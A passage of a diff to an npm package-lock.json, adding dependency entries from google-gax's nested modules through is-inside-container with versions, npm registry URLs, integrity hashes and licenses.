"abort-controller": "^3.0.0", + "duplexify": "^4.0.0", + "google-auth-library": "^9.3.0", + "node-fetch": "^2.7.0", + "object-hash": "^3.0.0", + "proto3-json-serializer": "^2.0.2", + "protobufjs": "^7.3.2", + "retry-request": "^7.0.0", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/google-gax/node_modules/@grpc/proto-loader": { + "version": "0.7.15", + "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.7.15.tgz", + "integrity": "sha512-tMXdRCfYVixjuFK+Hk0Q1s38gV9zDiDJfWL3h1rv4Qc39oILCu1TRTDt7+fGUI8K4G1Fj125Hx/ru3azECWTyQ==", + "license": "Apache-2.0", + "dependencies": { + "lodash.camelcase": "^4.3.0", + "long": "^5.0.0", + "protobufjs": "^7.2.5", + "yargs": "^17.7.2" + }, + "bin": { + "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/google-gax/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/google-gax/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/google-gax/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/google-gax/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/google-gax/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/google-logging-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", + "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis": { + "version": "137.1.0", + "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-137.1.0.tgz", + "integrity": "sha512-2L7SzN0FLHyQtFmyIxrcXhgust77067pkkduqkbIpDuj9JzVnByxsRrcRfUMFQam3rQkWW2B0f1i40IwKDWIVQ==", + "license": "Apache-2.0", + "dependencies": { + "google-auth-library": "^9.0.0", + "googleapis-common": "^7.0.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/googleapis-common": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-7.2.0.tgz", + "integrity": "sha512-/fhDZEJZvOV3X5jmD+fKxMqma5q2Q9nZNSF3kn1F18tpxmA86BcTxAGBQdM0N89Z3bEaIs+HVznSmFJEAmMTjA==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "gaxios": "^6.0.3", + "google-auth-library": "^9.7.0", + "qs": "^6.7.0", + "url-template": "^2.0.8", + "uuid": "^9.0.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/googleapis-common/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/googleapis/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/gtoken": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-7.1.0.tgz", + "integrity": "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw==", + "license": "MIT", + "dependencies": { + "gaxios": "^6.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/gtoken/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/gtoken/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", + "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hono": { + "version": "4.12.12", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.12.tgz", + "integrity": "sha512-p1JfQMKaceuCbpJKAPKVqyqviZdS0eUxH9v82oWo1kb9xjQ5wA6iP3FNVAPDFlz5/p7d45lO+BpSk1tuSZMF4Q==", + "license": "MIT", + "engines": { + "node": ">=16.9.0" + } + }, + "node_modules/hosted-git-info": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-9.0.3.tgz", + "integrity": "sha512-Hc+ghLoSt6QaYZUv0WBiIvmMDZuZZ7oaDvdH8MbfOO4lOsxdXLEvuC6ePoGs9H1X9oCLyq6+NVN0MKqD+ydxyg==", + "license": "ISC", + "dependencies": { + "lru-cache": "^11.1.0" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/html-entities": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz", + "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ], + "license": "MIT" + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/html-to-text": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz", + "integrity": "sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==", + "license": "MIT", + "dependencies": { + "@selderee/plugin-htmlparser2": "^0.11.0", + "deepmerge": "^4.3.1", + "dom-serializer": "^2.0.0", + "htmlparser2": "^8.0.2", + "selderee": "^0.11.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-proxy-agent": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-9.0.0.tgz", + "integrity": "sha512-FcF8VhXYLQcxWCnt/cCpT2apKsRDUGeVEeMqGu4HSTu29U8Yw0TLOjdYIlDsYk3IkUh+taX4IDWpPcCqKDhCjA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/http-proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/human-signals": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-8.0.1.tgz", + "integrity": "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", + "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-in-the-middle": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.6.tgz", + "integrity": "sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw==", + "license": "Apache-2.0", + "dependencies": { + "acorn": "^8.15.0", + "acorn-import-attributes": "^1.9.5", + "cjs-module-lexer": "^2.2.0", + "module-details-from-path": "^1.0.4" + } + }, + "node_modules/index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "license": "ISC" + }, + "node_modules/ip-address": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", + "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "license": "MIT", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-core-module": { + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", + "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz", + "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-expression": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", + "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^7.1.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/is-expression/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-inside-container": { + "version": "1.0.0", + "resolved": 